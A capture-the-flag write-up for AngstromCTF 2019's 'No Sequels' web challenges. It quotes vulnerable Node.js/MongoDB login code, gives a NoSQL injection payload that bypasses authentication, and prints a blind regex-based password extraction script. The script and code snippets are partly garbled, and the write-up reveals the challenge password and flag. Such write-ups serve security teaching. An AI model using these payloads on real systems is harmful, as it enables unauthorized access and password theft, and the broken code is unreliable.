AngstromCTF2019: No Sequels 1 && 2

The Challenge

Two parts, 130pts total.

Part 1

No Sequels Web 50

The prequels sucked, and the sequels aren’t much better, but at least we always have the original trilogy.

Author: SirIan


Part 2

No Sequels 2 Web 80

This is the sequel to No Sequels. You’ll see the challenge page once you solve the first one.

Author: SirIan

The Solution


The linked page is a simple login screen, with a snippet of NodeJS code for the POST /login route provided'/login', verifyJwt, function (req, res) {
    // monk instance
    var db = req.db;

    var user = req.body.username;
    var pass = req.body.password;

    if (!user || !pass){
        res.send("One or more fields were not provided.");
    var query = {
        username: user,
        password: pass

    db.collection('users').findOne(query, function (err, user) {
        if (!user){
            res.send("Wrong username or password");

        res.cookie('token', jwt.sign({name: user.username, authenticated: true}, secret));

In the code, the POST body parameters ​username​ and ​password​ are passed directly to a database without sanitisation. This is probably an injection point.

The syntax used (​db.collection('users').findOne(…​) looks like mongodb, and the reference to a “monk instance” confirms this.

Using a list of NoSQL payloads we can get issued an authenticated JWT with the following payload. This should result in authentication as the first available user record.

    "username": {"$ne": null},
    "password": {"$ne": null}

The server dutifully responds with a user token and redirects.


The authenticated page at GET /site provides the name of the admin user object in the database, and the code snippet for the POST route'/site', verifyJwt, function (req, res) {
    // req.user is assigned from verifyJwt
    if (!req.user.authenticated || !req.body.pass2) {
    var query = {
    var db = req.db;
    db.collection('users').findOne(query, function (err, user) {
        if (!user){
            res.render('access', {username:' \'''\' ', message:"Only user 'admin' can log in with this form!"});
        var pass = user.password;
        var message = "";
        if (pass === req.body.pass2){
        } else {
            res.render('access', {username:' \'''\' ', message:"Wrong LOL!"});

The next flag requires acquisition of the password for user ‘admin’.

In part 1 mongodb query selectors were used for both the user and password parameters provided to POST /login.

Now that the target username is known, it will be possible to reconstruct the password with a Blind NoSQL injection on the password field.

This script from github is more than sufficient. It uses the regex query selector to build the password one character at a time.

import requests
import urllib3
import string
import urllib

headers={'content-type': 'application/json'}

while True:
    for c in string.printable:
        if c not in ['*','+','.','?','|']:
            payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
            r =, data = payload, headers = headers, verify = False)
            if 'OK' in r.text:
                print("Found one more char : %s" % (password+c))
                password += c

After retrieving the password (“congratsyouwin”) it is possible to log in to the page in part 2 and get the flag: act{still_no_sql_in_the_sequel}